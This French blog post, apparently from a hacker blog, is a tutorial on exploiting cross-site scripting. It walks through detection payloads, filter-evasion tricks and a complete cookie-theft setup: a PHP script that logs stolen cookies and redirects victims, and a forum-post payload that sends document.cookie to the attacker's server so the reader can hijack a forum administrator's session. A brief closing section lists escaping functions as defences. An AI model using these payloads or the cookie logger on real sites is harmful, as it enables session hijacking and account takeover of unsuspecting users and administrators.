Overblog
Editer l'article Suivre ce blog Administration + Créer mon blog
14 février 2013 4 14 /02 /février /2013 10:44

Bonjour à tous et à toutes, je vais aujourd’hui vous présenter un article visant à vous expliquer comment exploiter la faille XSS, mais aussi comment s’en protéger :)

Avant de commencer, je dois éclaircir une chose : plusieurs personnes sont entrain de penser que cette faille ça ne sert a rien, et bien c’est faux, croyez moi la faille XSS c’est génial, certes vous n’allez pas pouvoir prendre le r00t grâce à cette faille mais il facilite la tache à d’autres attaques. Il faut simplement savoir comment s’en serviricon wink Faille XSS, comment lexploiter et sen protéger

La faille XSS c’est quoi ?

La faille XSS, a l’origine CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), est un type de faille de sécurité des sites Web, que l’on trouve dans les applications Web mal sécurisé.

Le principe de cette faille est d’injecter un code malveillant en langage de script dans un site web vulnérable, par exemple en déposant un message dans un forum qui redirige l’internaute vers un faux site (phishing) ou qui vole des informations (cookies).

La faille XSS permet d’exécuter des scripts du coté client. Ceci signifie que vous ne pouvez exécuter que du JAVASCRIPT, HTML et d’autres languages qui ne vont s’exécuter que chez celui qui lance le script et pas sur le serveur directement, je laisse votre imagination vous donner des idées.icon smile Faille XSS, comment lexploiter et sen protéger

Comment détecter la présence d’une faille XSS ?

Les XSS sont très répandue sur le net, plus précisément dans les forums, livres d’or et les moteurs de recherches,
La détection de la présence d’une faille XSS peut se faire par exemple en entrant un script Javascript dans un champ de formulaire ou dans une URL :

1 <script > alert (Hack) </script >

Si une boîte de dialogue apparaît, on peut en conclure que l’application Web est sensible aux attaques de type XSS.
Pour bien comprendre le principe, rien ne vaut un exemple.
Supposons le code suivant :

01 <center>
02 <?php if(isset($_GET['mot_recherche']))
03 {
04 echo"Vous recherchez le mot suivant: ".$_GET['mot_recherche'];
05 }?>
06
07 Recherche:
08 <form method="get"action="XSS.php">
09 <input type="text"name="mot_recherche"/>
10 <input type="submit"name="Submit"value="Envoyer"/>
11 </form> </center>

Sur un navigateur web cela donnerait :

Aucune variable n’a été transmit en GET donc la page n’affiche que « Recherche ». Si maintenant je tape « Justin Bieber  » et je valide cela me donne « Vous recherchez le mot suivant: Justin Bieber  »
Jusqu’à maintenant tout marche bien, mais que se passe-t-il si je tape<script>alert(‘Hack’)</script>dans recheche, le code JavaScript tapé dans recherche est ainsi exécuté. Comme ca on peut conclure que cette application contient une faille XSS.

xss2 Faille XSS, comment lexploiter et sen protéger

Échapper les filtres

Dans la réalité, ça ne marche pas toujours comme ça, les développeurs web ont conscience de cette attaque, alors ils ont développé des méthodes pour sécuriser leurs applications  web contre cette faille,  je peux par exemple citermagic_quote_gpc.

Dans cette parti, je vais vous montrer comment bypasser quelques filtres :

magic_quote_gpc: Lorsque les magic_quotes sont activées, tous les caractères ‘ (apostrophes),  » (guillemets), \ (antislash) et NULL sont donc échappés par un antislash.
Par exemple si je tape

1 <script> alert("Hack")</script>

Il devient:

1 <script>alert(\'hack\')</script>

Donc comment passer ceci ? Et bien après une bonne réflexion sur le problème, il nous vient que si le site echape les apostrophes par un antislash alors grâce à elles on va pouvoir exécuter notre code mais comment ?
Tout simplement nous allons utiliser la méthodeString.fromCharCode(). Cette méthode crée une chaîne de caractères à partir d’une série de code ASCII. Pour cela je vais utiliserHackbar, un plugin Firefox.

xss3 Faille XSS, comment lexploiter et sen protéger

Apres ca nous donne

1 <script>alert(String.fromCharCode(104, 97, 99, 107))</script>

et miracle ça marche !icon biggrin Faille XSS, comment lexploiter et sen protéger

Technique d’Obfuscation : Ce filtre, par exemple bloque les mots suivants:

  • script
  • alert

Ici si nous mettons <script>alert(‘Hack’)</script> le site vas nous donner comme message alert()car il va enlever tout les <script> et </script>.

Alors pour bypasser ce filtre nous allons justechanger <script> par <scrscriptipt> et alert par alealertrt

comme ceci :

1 <scr < script >ipt > alealertrt () </scr </ script >ipt >

Une fois les bannières enlevées ça nous donne :

1 <script> alert("Hack")</script>

et ca marche encore !icon smile Faille XSS, comment lexploiter et sen protéger

Il existe un plugin Firefox,XSS MEspécialisé dans la recherche de ce type de vulnérabilité.

Comment exploiter cette faille :

Bon alors, comme nous venons de le voir, les failles XSS s’exécutent du côté client. Donc pour piéger une cible nous devons faire en sorte que l’administrateur du site exécute lui même notre script. Et après, nous devons récupérer son cookie. Donc pour exploiter la faille XSS, il nous faut un script PHP qui va récupérer la valeur de la variable $cookie et l’écrit dans un fichier .txt. Pour cela ouvrer un fichier sous le nom xss.php et mettez le code suivant :

01 <?php
02 $cookie$_GET[‘a’]; // on reconnaît a en variable GET
03 if($cookie)
04 {
05 $fpfopen(‘cookies.txt’,’a’); // On ouvre cookies.txt en edition
06 fputs($fp,$cook. ‘\r\n’);
07
08 // On écrit le contenu du cookie sur une nouvelle ligne
09 fclose($fp); // On ferme le fichier cookies.txt
10 }?>
11 <script>
12 location.replace('http://www.google.ma);
13 // Rediriger la cible vers google.ma pour qu'il ne se doute de rien
14 </script>

Enregistrez le fichier xss.php, puis mettez le sur un serveur FTP qui supporte bien sur le PHP.
Voila notre script est en place, il ne reste plus qu’a le testé !icon smile Faille XSS, comment lexploiter et sen protéger

Comme je l’ai dit avant il faut faire exécuter notre url à notre cible. Imaginons qu’en testant les techniques citées en haut sur votre forum, où vous êtes un membre parmi les autres, vous détectez la présence d’une faille XSS et vous voulez  utiliser le script php que nous avons crée. Mais comment faire ?

Tout simplement vous insérez la ligne suivante dans un petit message:

1 <script>
2 window.open(‘http://monsite.com/xss.php?a=’+document.cookie)
3 </script>

En voyant le code, on comprend parfaitement qu’il y a ?a=, c’est la variable $_GET[‘a’] de notre code.

document.cookie représente le cookie du client.Vous venez de récupérer le cookie de l’admin du forum mais que faire avec ? A ce moment là que beaucoup de personne pensent que les failles XSS ne permettent rien faire mais ils se trompent largement. Une fois que vous avez récupérez un cookie vous allez pouvoir le mettre dans votre dossier avec vos cookies et alors après avoir relancez votre navigateur web vous pourrez accéder à la session de l’admin.icon biggrin Faille XSS, comment lexploiter et sen protéger

Éviter la faille

Plusieurs techniques permettent d’éviter le XSS :

  • Utiliser la fonction htmlspecialchars(), il convertit les caractères spéciaux en entités HTML.
  • Utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu’elle filtre tout les caractères equivalents au codage html ou javascript.
  • Utiliser strip_tags(), cette fonction supprime toutes les balises.

J’espère que vous aurez pu apprendre quelque chose à travers cet article, et avoir compris le danger de cette attaque !icon smile Faille XSS, comment lexploiter et sen protéger

Partager cet article
Repost0

commentaires

Présentation

  • : tunisian-hackers
  • : Hacker est à l'origine un mot anglais signifiant bricoleur, bidouilleur, utilisé pour désigner en informatique les programmeurs astucieux et débrouillards. Plus généralement il désigne le possesseur d'une connaissance technique lui permettant de modifier un objet ou un mécanisme pour lui faire faire autre chose que ce qui était initialement prévu.
  • Contact

Translate this blog

English French German Spain Italian Dutch Russian Portuguese Japanese Korean Arabic Chinese Simplified


this widget by www.AllBlogTools.com

Recherche

Your IP Is:

 

Compteur Tunisian-Hackers

Liens